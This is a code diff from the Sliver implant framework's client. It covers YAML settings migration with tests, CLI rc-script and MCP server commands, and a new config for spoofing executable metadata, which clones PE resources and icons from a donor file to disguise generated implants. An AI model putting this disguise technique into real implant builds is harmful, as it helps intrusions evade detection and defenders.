AlwaysOverflow bool `json:"always_overflow"`
|
||||
VimMode bool `json:"vim_mode"`
|
||||
UserConnect bool `json:"user_connect"`
|
||||
ConsoleLogs bool `json:"console_logs"`
|
||||
TableStyle string `json:"tables" yaml:"tables"`
|
||||
AutoAdult bool `json:"autoadult" yaml:"autoadult"`
|
||||
BeaconAutoResults bool `json:"beacon_autoresults" yaml:"beacon_autoresults"`
|
||||
SmallTermWidth int `json:"small_term_width" yaml:"small_term_width"`
|
||||
AlwaysOverflow bool `json:"always_overflow" yaml:"always_overflow"`
|
||||
VimMode bool `json:"vim_mode" yaml:"vim_mode"`
|
||||
UserConnect bool `json:"user_connect" yaml:"user_connect"`
|
||||
ConsoleLogs bool `json:"console_logs" yaml:"console_logs"`
|
||||
PromptStyle string `json:"prompt" yaml:"prompt"`
|
||||
PromptTemplate string `json:"prompt_template" yaml:"prompt_template"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
func LoadSettings() (*ClientSettings, error) {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName))
|
||||
if err != nil {
|
||||
settingsPath := filepath.Join(rootDir, settingsFileName)
|
||||
legacyPath := filepath.Join(rootDir, settingsLegacyFileName)
|
||||
settings := defaultSettings()
|
||||
migratedLegacy := false
|
||||
|
||||
data, err := os.ReadFile(settingsPath)
|
||||
if err == nil {
|
||||
if err = yaml.Unmarshal(data, settings); err != nil {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
} else if !os.IsNotExist(err) {
|
||||
return defaultSettings(), err
|
||||
} else if data, err = os.ReadFile(legacyPath); err == nil {
|
||||
if err = json.Unmarshal(data, settings); err != nil {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
migratedLegacy = true
|
||||
} else if !os.IsNotExist(err) {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
settings := defaultSettings()
|
||||
err = json.Unmarshal(data, settings)
|
||||
if err != nil {
|
||||
return defaultSettings(), err
|
||||
|
||||
// Ensure any missing/unknown values are coerced to a supported prompt style.
|
||||
settings.PromptStyle = NormalizePromptStyle(settings.PromptStyle)
|
||||
if err := SaveSettings(settings); err != nil {
|
||||
return settings, err
|
||||
}
|
||||
if migratedLegacy {
|
||||
if err := renameLegacyConfig(legacyPath); err != nil {
|
||||
return settings, err
|
||||
}
|
||||
}
|
||||
return settings, nil
|
||||
}
|
||||
|
||||
// NormalizePromptStyle canonicalizes prompt style strings and returns a safe
|
||||
// default if the value is empty/unknown.
|
||||
func NormalizePromptStyle(v string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(v)) {
|
||||
case PromptStyleOperatorHost:
|
||||
return PromptStyleOperatorHost
|
||||
case PromptStyleHost:
|
||||
return PromptStyleHost
|
||||
case PromptStyleBasic:
|
||||
return PromptStyleBasic
|
||||
case PromptStyleCustom:
|
||||
return PromptStyleCustom
|
||||
|
||||
// Backward compatible aliases.
|
||||
case "show host":
|
||||
return PromptStyleHost
|
||||
case "show user and host":
|
||||
return PromptStyleOperatorHost
|
||||
case "show operator and host":
|
||||
return PromptStyleOperatorHost
|
||||
case "operator@host":
|
||||
return PromptStyleOperatorHost
|
||||
case "user@host":
|
||||
return PromptStyleOperatorHost
|
||||
|
||||
case "":
|
||||
return PromptStyleHost
|
||||
default:
|
||||
return PromptStyleHost
|
||||
}
|
||||
}
|
||||
|
||||
func defaultSettings() *ClientSettings {
|
||||
return &ClientSettings{
|
||||
TableStyle: "SliverDefault",
|
||||
@@ -64,16 +136,20 @@ func defaultSettings() *ClientSettings {
|
||||
AlwaysOverflow: false,
|
||||
VimMode: false,
|
||||
ConsoleLogs: true,
|
||||
PromptStyle: PromptStyleHost,
|
||||
PromptTemplate: DefaultPromptTemplate,
|
||||
}
|
||||
}
|
||||
|
||||
const DefaultPromptTemplate = `{{- if .IsServer -}}{{ .Styles.Bold.Render "[server]" }} {{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} > {{- else -}}{{- if .Host -}}{{ .Styles.BoldPrimary.Render (printf "[%s]" .Host) }} {{- end -}}{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} > {{- end -}}`
|
||||
|
||||
// SaveSettings - Save the current settings to disk
|
||||
func SaveSettings(settings *ClientSettings) error {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
if settings == nil {
|
||||
settings = defaultSettings()
|
||||
}
|
||||
data, err := json.MarshalIndent(settings, "", " ")
|
||||
data, err := yaml.Marshal(settings)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -0,0 +1,137 @@
|
||||
package assets
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestLoadSettingsParsesYAML(t *testing.T) {
|
||||
t.Setenv(envVarName, t.TempDir())
|
||||
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
settingsPath := filepath.Join(rootDir, settingsFileName)
|
||||
|
||||
data := []byte(`tables: "Compact"
|
||||
autoadult: true
|
||||
beacon_autoresults: false
|
||||
small_term_width: 120
|
||||
always_overflow: true
|
||||
vim_mode: true
|
||||
user_connect: true
|
||||
console_logs: false
|
||||
prompt: "basic"
|
||||
prompt_template: "{{.Host}}"
|
||||
`)
|
||||
if err := os.WriteFile(settingsPath, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write yaml settings: %v", err)
|
||||
}
|
||||
|
||||
settings, err := LoadSettings()
|
||||
if err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
if settings.TableStyle != "Compact" {
|
||||
t.Fatalf("expected TableStyle %q, got %q", "Compact", settings.TableStyle)
|
||||
}
|
||||
if !settings.AutoAdult {
|
||||
t.Fatalf("expected AutoAdult true")
|
||||
}
|
||||
if settings.BeaconAutoResults {
|
||||
t.Fatalf("expected BeaconAutoResults false")
|
||||
}
|
||||
if settings.SmallTermWidth != 120 {
|
||||
t.Fatalf("expected SmallTermWidth %d, got %d", 120, settings.SmallTermWidth)
|
||||
}
|
||||
if !settings.AlwaysOverflow {
|
||||
t.Fatalf("expected AlwaysOverflow true")
|
||||
}
|
||||
if !settings.VimMode {
|
||||
t.Fatalf("expected VimMode true")
|
||||
}
|
||||
if !settings.UserConnect {
|
||||
t.Fatalf("expected UserConnect true")
|
||||
}
|
||||
if settings.ConsoleLogs {
|
||||
t.Fatalf("expected ConsoleLogs false")
|
||||
}
|
||||
if settings.PromptStyle != PromptStyleBasic {
|
||||
t.Fatalf("expected PromptStyle %q, got %q", PromptStyleBasic, settings.PromptStyle)
|
||||
}
|
||||
if settings.PromptTemplate != "{{.Host}}" {
|
||||
t.Fatalf("expected PromptTemplate %q, got %q", "{{.Host}}", settings.PromptTemplate)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
|
||||
t.Setenv(envVarName, t.TempDir())
|
||||
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
legacyPath := filepath.Join(rootDir, settingsLegacyFileName)
|
||||
|
||||
legacy := &ClientSettings{
|
||||
TableStyle: "Legacy",
|
||||
AutoAdult: true,
|
||||
BeaconAutoResults: false,
|
||||
SmallTermWidth: 200,
|
||||
AlwaysOverflow: true,
|
||||
VimMode: true,
|
||||
UserConnect: true,
|
||||
ConsoleLogs: false,
|
||||
PromptStyle: PromptStyleOperatorHost,
|
||||
PromptTemplate: "{{.Operator}}@{{.Host}} sliver > ",
|
||||
}
|
||||
data, err := json.MarshalIndent(legacy, "", " ")
|
||||
if err != nil {
|
||||
t.Fatalf("failed to marshal legacy settings: %v", err)
|
||||
}
|
||||
if err := os.WriteFile(legacyPath, data, 0o600); err != nil {
|
||||
t.Fatalf("failed to write legacy settings: %v", err)
|
||||
}
|
||||
|
||||
settings, err := LoadSettings()
|
||||
if err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
if settings.TableStyle != "Legacy" {
|
||||
t.Fatalf("expected TableStyle %q, got %q", "Legacy", settings.TableStyle)
|
||||
}
|
||||
if settings.PromptStyle != PromptStyleOperatorHost {
|
||||
t.Fatalf("expected PromptStyle %q, got %q", PromptStyleOperatorHost, settings.PromptStyle)
|
||||
}
|
||||
if settings.PromptTemplate != "{{.Operator}}@{{.Host}} sliver > " {
|
||||
t.Fatalf("expected PromptTemplate %q, got %q", "{{.Operator}}@{{.Host}} sliver > ", settings.PromptTemplate)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
|
||||
t.Fatalf("expected yaml settings to exist: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(legacyPath); !os.IsNotExist(err) {
|
||||
t.Fatalf("expected legacy settings to be renamed: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(legacyBackupPath(legacyPath)); err != nil {
|
||||
t.Fatalf("expected legacy backup to exist: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestLoadSettingsWritesDefault(t *testing.T) {
|
||||
t.Setenv(envVarName, t.TempDir())
|
||||
|
||||
settings, err := LoadSettings()
|
||||
if err != nil {
|
||||
t.Fatalf("expected no error, got %v", err)
|
||||
}
|
||||
if settings.TableStyle != "SliverDefault" {
|
||||
t.Fatalf("expected default TableStyle %q, got %q", "SliverDefault", settings.TableStyle)
|
||||
}
|
||||
if settings.PromptStyle != PromptStyleHost {
|
||||
t.Fatalf("expected default PromptStyle %q, got %q", PromptStyleHost, settings.PromptStyle)
|
||||
}
|
||||
if settings.PromptTemplate != DefaultPromptTemplate {
|
||||
t.Fatalf("expected default PromptTemplate %q, got %q", DefaultPromptTemplate, settings.PromptTemplate)
|
||||
}
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
|
||||
t.Fatalf("expected default settings to be written: %v", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2026 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"gopkg.in/yaml.v3"
|
||||
)
|
||||
|
||||
const spoofMetadataFileName = "spoof-metadata.yaml"
|
||||
|
||||
const defaultSpoofMetadataConfigTemplate = `# Sliver executable metadata spoofing configuration.
|
||||
# Used by generate commands when --spoof-metadata is set.
|
||||
#
|
||||
# Fields that reference file content support either:
|
||||
# - path: read bytes from a local file path
|
||||
# - base64: inline base64 file content
|
||||
# Do not set both path and base64 for the same object.
|
||||
#
|
||||
# Example 1: Minimal path-based metadata cloning (most common)
|
||||
pe:
|
||||
source:
|
||||
name: metadata-source.exe
|
||||
path: ""
|
||||
|
||||
# Optional icon donor. Reserved for future standalone icon mutation support.
|
||||
icon:
|
||||
name: icon.ico
|
||||
path: ""
|
||||
|
||||
# Example 2: Inline/base64 source (uncomment and remove "path" above)
|
||||
# source:
|
||||
# name: metadata-source.exe
|
||||
# base64: "TVqQAAMAAAAEAAAA..."
|
||||
|
||||
# Example 3: Optional PE structure overrides (advanced)
|
||||
# Applied after metadata/resources are cloned from source.
|
||||
# Omitted fields keep cloned values.
|
||||
# resource_directory:
|
||||
# characteristics: 0
|
||||
# time_date_stamp: 0
|
||||
# major_version: 1
|
||||
# minor_version: 0
|
||||
# number_of_named_entries: 0
|
||||
# number_of_id_entries: 0
|
||||
#
|
||||
# resource_directory_entries:
|
||||
# - name: 1
|
||||
# offset_to_data: 0
|
||||
#
|
||||
# resource_data_entries:
|
||||
# - offset_to_data: 0
|
||||
# size: 0
|
||||
# code_page: 0
|
||||
# reserved: 0
|
||||
#
|
||||
# export_directory:
|
||||
# characteristics: 0
|
||||
# time_date_stamp: 0
|
||||
# major_version: 1
|
||||
# minor_version: 0
|
||||
# name: 0
|
||||
# base: 0
|
||||
# number_of_functions: 0
|
||||
# number_of_names: 0
|
||||
# address_of_functions: 0
|
||||
# address_of_names: 0
|
||||
# address_of_name_ordinals: 0
|
||||
`
|
||||
|
||||
// SpoofMetadataConfig stores default metadata spoofing inputs for generate commands.
|
||||
type SpoofMetadataConfig struct {
|
||||
PE *PESpoofMetadataConfig `json:"pe,omitempty" yaml:"pe,omitempty"`
|
||||
}
|
||||
|
||||
// PESpoofMetadataConfig stores PE-specific spoofing inputs.
|
||||
type PESpoofMetadataConfig struct {
|
||||
Source *SpoofMetadataDataSource `json:"source,omitempty" yaml:"source,omitempty"`
|
||||
Icon *SpoofMetadataDataSource `json:"icon,omitempty" yaml:"icon,omitempty"`
|
||||
|
||||
ResourceDirectory *ImageResourceDirectory `json:"resource_directory,omitempty" yaml:"resource_directory,omitempty"`
|
||||
ResourceDirectoryEntries []*ImageResourceDirectoryEntry `json:"resource_directory_entries,omitempty" yaml:"resource_directory_entries,omitempty"`
|
||||
ResourceDataEntries []*ImageResourceDataEntry `json:"resource_data_entries,omitempty" yaml:"resource_data_entries,omitempty"`
|
||||
ExportDirectory *ImageExportDirectory `json:"export_directory,omitempty" yaml:"export_directory,omitempty"`
|
||||
}
|
||||
|
||||
// SpoofMetadataDataSource points to bytes that should be sent to the server.
|
||||
// Either Path or Base64 may be set.
|
||||
type SpoofMetadataDataSource struct {
|
||||
Name string `json:"name,omitempty" yaml:"name,omitempty"`
|
||||
Path string `json:"path,omitempty" yaml:"path,omitempty"`
|
||||
Base64 string `json:"base64,omitempty" yaml:"base64,omitempty"`
|
||||
}
|
||||
|
||||
type ImageResourceDirectory struct {
|
||||
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
|
||||
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
|
||||
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
|
||||
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
|
||||
NumberOfNamedEntries uint32 `json:"number_of_named_entries,omitempty" yaml:"number_of_named_entries,omitempty"`
|
||||
NumberOfIDEntries uint32 `json:"number_of_id_entries,omitempty" yaml:"number_of_id_entries,omitempty"`
|
||||
}
|
||||
|
||||
type ImageResourceDirectoryEntry struct {
|
||||
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
|
||||
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
|
||||
}
|
||||
|
||||
type ImageResourceDataEntry struct {
|
||||
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
|
||||
Size uint32 `json:"size,omitempty" yaml:"size,omitempty"`
|
||||
CodePage uint32 `json:"code_page,omitempty" yaml:"code_page,omitempty"`
|
||||
Reserved uint32 `json:"reserved,omitempty" yaml:"reserved,omitempty"`
|
||||
}
|
||||
|
||||
type ImageExportDirectory struct {
|
||||
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
|
||||
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
|
||||
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
|
||||
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
|
||||
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
|
||||
Base uint32 `json:"base,omitempty" yaml:"base,omitempty"`
|
||||
NumberOfFunctions uint32 `json:"number_of_functions,omitempty" yaml:"number_of_functions,omitempty"`
|
||||
NumberOfNames uint32 `json:"number_of_names,omitempty" yaml:"number_of_names,omitempty"`
|
||||
AddressOfFunctions uint32 `json:"address_of_functions,omitempty" yaml:"address_of_functions,omitempty"`
|
||||
AddressOfNames uint32 `json:"address_of_names,omitempty" yaml:"address_of_names,omitempty"`
|
||||
AddressOfNameOrdinals uint32 `json:"address_of_name_ordinals,omitempty" yaml:"address_of_name_ordinals,omitempty"`
|
||||
}
|
||||
|
||||
// SpoofMetadataConfigPath returns the spoof metadata config file path.
|
||||
func SpoofMetadataConfigPath() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
return filepath.Join(rootDir, spoofMetadataFileName)
|
||||
}
|
||||
|
||||
// LoadSpoofMetadataConfig loads spoof metadata config from disk, writing defaults
|
||||
// if the file is missing.
|
||||
func LoadSpoofMetadataConfig() (*SpoofMetadataConfig, error) {
|
||||
config := defaultSpoofMetadataConfig()
|
||||
configPath := SpoofMetadataConfigPath()
|
||||
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
if !os.IsNotExist(err) {
|
||||
return defaultSpoofMetadataConfig(), err
|
||||
}
|
||||
if err := os.WriteFile(configPath, []byte(defaultSpoofMetadataConfigTemplate), 0o600); err != nil {
|
||||
return defaultSpoofMetadataConfig(), err
|
||||
}
|
||||
data = []byte(defaultSpoofMetadataConfigTemplate)
|
||||
}
|
||||
if err := yaml.Unmarshal(data, config); err != nil {
|
||||
return defaultSpoofMetadataConfig(), err
|
||||
}
|
||||
|
||||
normalizeSpoofMetadataConfig(config)
|
||||
return config, nil
|
||||
}
|
||||
|
||||
// SaveSpoofMetadataConfig writes spoof metadata config to disk.
|
||||
func SaveSpoofMetadataConfig(config *SpoofMetadataConfig) error {
|
||||
if config == nil {
|
||||
config = defaultSpoofMetadataConfig()
|
||||
}
|
||||
normalizeSpoofMetadataConfig(config)
|
||||
data, err := yaml.Marshal(config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(SpoofMetadataConfigPath(), data, 0o600)
|
||||
}
|
||||
|
||||
func normalizeSpoofMetadataConfig(config *SpoofMetadataConfig) {
|
||||
if config.PE == nil {
|
||||
config.PE = &PESpoofMetadataConfig{}
|
||||
}
|
||||
if config.PE.Source == nil {
|
||||
config.PE.Source = &SpoofMetadataDataSource{Name: "metadata-source.exe"}
|
||||
}
|
||||
if config.PE.Icon == nil {
|
||||
config.PE.Icon = &SpoofMetadataDataSource{Name: "icon.ico"}
|
||||
}
|
||||
}
|
||||
|
||||
func defaultSpoofMetadataConfig() *SpoofMetadataConfig {
|
||||
return &SpoofMetadataConfig{
|
||||
PE: &PESpoofMetadataConfig{
|
||||
Source: &SpoofMetadataDataSource{
|
||||
Name: "metadata-source.exe",
|
||||
Path: "",
|
||||
},
|
||||
Icon: &SpoofMetadataDataSource{
|
||||
Name: "icon.ico",
|
||||
Path: "",
|
||||
},
|
||||
},
|
||||
}
|
||||
}
|
||||
+13
-3
@@ -1,4 +1,14 @@
|
||||
CLI
|
||||
===
|
||||
# client/cli
|
||||
|
||||
This package implements the Sliver client cli.
|
||||
## Overview
|
||||
|
||||
Defines the Cobra root command and CLI initialization for the Sliver client binary. Sets up persistent flags, environment bootstrapping, and command wiring. Core logic addresses console, implant, import, and version within the cli package.
|
||||
|
||||
## Go Files
|
||||
|
||||
- `cli.go` – Builds the root Cobra command, wires global flags, and starts the console UI.
|
||||
- `config.go` – Parses CLI configuration files and environment variables used during startup.
|
||||
- `console.go` – Launches the interactive console mode and handles profile selection.
|
||||
- `implant.go` – Implements CLI entry points for implant-specific operations without launching the console.
|
||||
- `import.go` – Provides import routines for bringing external state into the client (e.g., implants or loot).
|
||||
- `version.go` – Prints version/build information for the CLI binary.
|
||||
@@ -51,6 +51,7 @@ func init() {
|
||||
defer logFile.Close()
|
||||
|
||||
rootCmd.TraverseChildren = true
|
||||
rootCmd.Flags().String(RCFlagName, "", "path to rc script file")
|
||||
|
||||
// Create the console client, without any RPC or commands bound to it yet.
|
||||
// This created before anything so that multiple commands can make use of
|
||||
@@ -69,6 +70,9 @@ func init() {
|
||||
// other command trees below, such as the implant one.
|
||||
rootCmd.AddCommand(consoleCmd(con))
|
||||
|
||||
// MCP stdio server.
|
||||
rootCmd.AddCommand(mcpCmd(con))
|
||||
|
||||
// Implant.
|
||||
// The implant command allows users to run commands on slivers from their
|
||||
// system shell. It makes use of pre-runners for connecting to the server
|
||||
|
||||
+15
-29
@@ -23,48 +23,34 @@ import (
|
||||
"sort"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"gopkg.in/AlecAivazis/survey.v1"
|
||||
"github.com/bishopfox/sliver/client/forms"
|
||||
)
|
||||
|
||||
func selectConfig() *assets.ClientConfig {
|
||||
func selectConfig() (string, *assets.ClientConfig) {
|
||||
configs := assets.GetConfigs()
|
||||
|
||||
if len(configs) == 0 {
|
||||
return nil
|
||||
return "", nil
|
||||
}
|
||||
|
||||
if len(configs) == 1 {
|
||||
for _, config := range configs {
|
||||
return config
|
||||
for key, config := range configs {
|
||||
return key, config
|
||||
}
|
||||
}
|
||||
|
||||
answer := struct{ Config string }{}
|
||||
qs := getPromptForConfigs(configs)
|
||||
err := survey.Ask(qs, &answer)
|
||||
if err != nil {
|
||||
fmt.Println(err.Error())
|
||||
return nil
|
||||
}
|
||||
|
||||
return configs[answer.Config]
|
||||
}
|
||||
|
||||
func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
|
||||
keys := []string{}
|
||||
for k := range configs {
|
||||
keys = append(keys, k)
|
||||
keys := make([]string, 0, len(configs))
|
||||
for key := range configs {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
|
||||
return []*survey.Question{
|
||||
{
|
||||
Name: "config",
|
||||
Prompt: &survey.Select{
|
||||
Message: "Select a server:",
|
||||
Options: keys,
|
||||
Default: keys[0],
|
||||
},
|
||||
},
|
||||
selection := keys[0]
|
||||
err := forms.Select("Select a server:", keys, &selection)
|
||||
if err != nil {
|
||||
fmt.Println(err.Error())
|
||||
return "", nil
|
||||
}
|
||||
|
||||
return selection, configs[selection]
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/connectivity"
|
||||
)
|
||||
|
||||
func handleConnectionLost(ln *grpc.ClientConn) {
|
||||
if ln == nil {
|
||||
return
|
||||
}
|
||||
currentState := ln.GetState()
|
||||
// currentState should be "Ready" when the connection is established.
|
||||
if ln.WaitForStateChange(context.Background(), currentState) {
|
||||
newState := ln.GetState()
|
||||
// newState will be "Idle" if the connection is lost.
|
||||
if newState == connectivity.Idle {
|
||||
fmt.Println("\nLost connection to server. Exiting now.")
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
}
|
||||
+12
-31
@@ -19,9 +19,7 @@ package cli
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
@@ -30,7 +28,6 @@ import (
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/connectivity"
|
||||
)
|
||||
|
||||
// consoleCmd generates the console with required pre/post runners.
|
||||
@@ -40,66 +37,50 @@ func consoleCmd(con *console.SliverClient) *cobra.Command {
|
||||
Short: "Start the sliver client console",
|
||||
}
|
||||
|
||||
consoleCmd.Flags().String(RCFlagName, "", "path to rc script file")
|
||||
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
|
||||
return consoleCmd
|
||||
}
|
||||
|
||||
func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
|
||||
var ln *grpc.ClientConn
|
||||
|
||||
pre = func(_ *cobra.Command, _ []string) error {
|
||||
pre = func(cmd *cobra.Command, _ []string) error {
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||
return nil
|
||||
}
|
||||
config := selectConfig()
|
||||
configKey, config := selectConfig()
|
||||
if config == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
rcScript, err := ReadRCScript(cmd)
|
||||
if err != nil {
|
||||
fmt.Printf("Failed to read rc script: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Don't clobber output when simply running an implant command from system shell.
|
||||
if run {
|
||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
||||
}
|
||||
|
||||
var rpc rpcpb.SliverRPCClient
|
||||
var err error
|
||||
var ln *grpc.ClientConn
|
||||
|
||||
rpc, ln, err = transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %s", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
// Wait for any connection state changes and exit if the connection is lost.
|
||||
go handleConnectionLost(ln)
|
||||
|
||||
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
|
||||
return console.StartClient(con, rpc, ln, &console.ConnectionDetails{ConfigKey: configKey, Config: config}, command.ServerCommands(con, nil), command.SliverCommands(con), run, rcScript)
|
||||
}
|
||||
|
||||
// Close the RPC connection once exiting
|
||||
post = func(_ *cobra.Command, _ []string) error {
|
||||
if ln != nil {
|
||||
return ln.Close()
|
||||
}
|
||||
|
||||
return nil
|
||||
return con.CloseConnection()
|
||||
}
|
||||
|
||||
return pre, post
|
||||
}
|
||||
|
||||
func handleConnectionLost(ln *grpc.ClientConn) {
|
||||
currentState := ln.GetState()
|
||||
// currentState should be "Ready" when the connection is established.
|
||||
if ln.WaitForStateChange(context.Background(), currentState) {
|
||||
newState := ln.GetState()
|
||||
// newState will be "Idle" if the connection is lost.
|
||||
if newState == connectivity.Idle {
|
||||
fmt.Println("\nLost connection to server. Exiting now.")
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
clientmcp "github.com/bishopfox/sliver/client/mcp"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
func mcpCmd(con *console.SliverClient) *cobra.Command {
|
||||
mcpCmd := &cobra.Command{
|
||||
Use: "mcp",
|
||||
Short: "Start the MCP stdio server",
|
||||
RunE: func(cmd *cobra.Command, args []string) error {
|
||||
return runMCP(cmd, con)
|
||||
},
|
||||
}
|
||||
mcpCmd.Flags().String("config", "", "path to client config file")
|
||||
return mcpCmd
|
||||
}
|
||||
|
||||
func runMCP(cmd *cobra.Command, con *console.SliverClient) error {
|
||||
configPath, _ := cmd.Flags().GetString("config")
|
||||
config, err := loadMCPClientConfig(configPath)
|
||||
if err != nil {
|
||||
fmt.Printf("%s\n", err)
|
||||
return nil
|
||||
}
|
||||
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %s\n", err)
|
||||
return nil
|
||||
}
|
||||
defer ln.Close()
|
||||
|
||||
con.Rpc = rpc
|
||||
go handleConnectionLost(ln)
|
||||
|
||||
cfg := clientmcp.DefaultConfig()
|
||||
if err := clientmcp.ServeStdio(cfg, con.Rpc); err != nil {
|
||||
fmt.Printf("MCP server error: %s\n", err)
|
||||
return nil
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadMCPClientConfig(path string) (*assets.ClientConfig, error) {
|
||||
if path != "" {
|
||||
configPath := path
|
||||
if !filepath.IsAbs(configPath) {
|
||||
if _, err := os.Stat(configPath); err != nil {
|
||||
configPath = filepath.Join(assets.GetConfigDir(), configPath)
|
||||
}
|
||||
}
|
||||
return assets.ReadConfig(configPath)
|
||||
}
|
||||
|
||||
configs := assets.GetConfigs()
|
||||
switch len(configs) {
|
||||
case 0:
|
||||
return nil, fmt.Errorf("no config files found at %s (use --config)", assets.GetConfigDir())
|
||||
case 1:
|
||||
for _, config := range configs {
|
||||
return config, nil
|
||||
}
|
||||
default:
|
||||
return nil, fmt.Errorf("multiple configs found; use --config to select one")
|
||||
}
|
||||
return nil, fmt.Errorf("no config files found")
|
||||
}
|
||||
@@ -0,0 +1,31 @@
|
||||
package cli
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
const RCFlagName = "rc"
|
